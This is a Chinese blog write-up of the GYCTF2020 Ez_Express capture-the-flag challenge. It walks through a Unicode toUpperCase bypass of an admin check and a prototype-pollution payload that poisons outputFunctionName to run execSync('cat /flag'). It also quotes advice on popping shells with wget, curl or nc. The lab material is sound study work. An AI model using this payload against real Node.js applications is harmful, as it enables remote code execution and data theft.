[GYCTF2020]Ez_Express

[GYCTF2020]Ez_Express

在这里插入图片描述

dirsearch 扫到源码 www.zip

首先回顾一下原型链污染

在我们调用一个对象的某属性时:

1.对象(obj)中寻找这一属性
2.如果找不到,则在obj.__proto__中寻找属性
3.如果仍然找不到,则继续在obj.__proto__.__proto__中寻找这一属性

以上机制被称为js的prototype继承链。而原型链污染就与这有关

原型链污染定义:

如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染
let foo ={bar:1}
console.log(foo.bar)
foo._proto__.bar=2
console.log(foo.bar)
let zoo={}
console.log(zoo.bar)
1
1

思路:js审计如果看见merge,clone函数,可以往原型链污染靠,跟进找一下关键的函数,找污染点

切记一定要让其__proto__解析为一个键名

byc师傅blog的总结:

总结下:
1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()只是确定漏洞的开始
2.进行审计需要以达成RCE为主要目的。通常exec, return等等都是值得注意的关键字。
3.题目基本是以弹shell为最终目的。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。

首先审到的是index主界面的js

**merge()**合并两个数组,修改第一个参数的内容

**clone()**克隆所有的

元素,并插入到 元素的结尾:

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

路由 action 先判断是否为admin用户 如果是才会调用下面的clone

那就只能回到登录界面login路由处查看

if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }

当参数中的Submit==register且密码 不正确时会对userid进行toUpperCase()

toUpperCase()是javascript中将小写转换成大写的函数。toLowerCase()是javascript中将大写转换成小写的函数。但是这俩函数真的只有这两个功能么?

在这里插入图片描述

其中混入了两个奇特的字符"ı"、“ſ”。

这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == ‘I’,“ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。

同样,toLowerCase也有同样的字符:

在这里插入图片描述

这个"K"的“小写”字符是k,也就是"K".toLowerCase() == ‘k’.

也就是说admın进行大写转换后会使ADMIN

在这里插入图片描述

在这里插入图片描述

来到action界面想办法调用函数

注意到info界面中的outputFunctionName并未定义可以利用

在这里插入图片描述

也就是可以通过污染outputFunctionName进行SSTI

image-20220211171510176

看到action的数据包实通过参数lua发送数据

于是抓/action的包,Content-Type设为application/json(也就是数据包的形式)

这样可以利用原型链污染的特性使lua为空并设置_proto__完成shell

{“lua”:“a”,“proto”:{
“outputFunctionName”:“a=1;return global.process.mainModule.constructor._load(‘child_process’).execSync(‘cat /flag’)//”},
“Submit”:“”
}

最后进到info里面可以直接看到flag

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值